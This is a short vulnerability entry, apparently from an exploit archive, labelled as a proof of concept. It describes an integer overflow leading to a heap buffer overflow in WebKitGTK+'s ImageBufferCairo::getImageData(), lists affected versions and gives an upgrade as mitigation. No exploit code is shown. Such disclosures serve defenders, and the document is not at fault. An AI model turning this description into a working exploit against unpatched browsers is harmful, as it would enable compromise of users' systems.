WebkitGTK+ 2.20.3 – ‘ImageBufferCairo::getImageData()’ Buffer Overflow (PoC)

getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4 without any overflow checks. If result is larger than UINT_MAX, heap-based buffer overflow via integer overflow will occur, which could be exploited further. Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1

Mitigation:

Upgrade to WebKitGTK+ 2.20.3 or WPE WebKit 2.20.1 or later versions
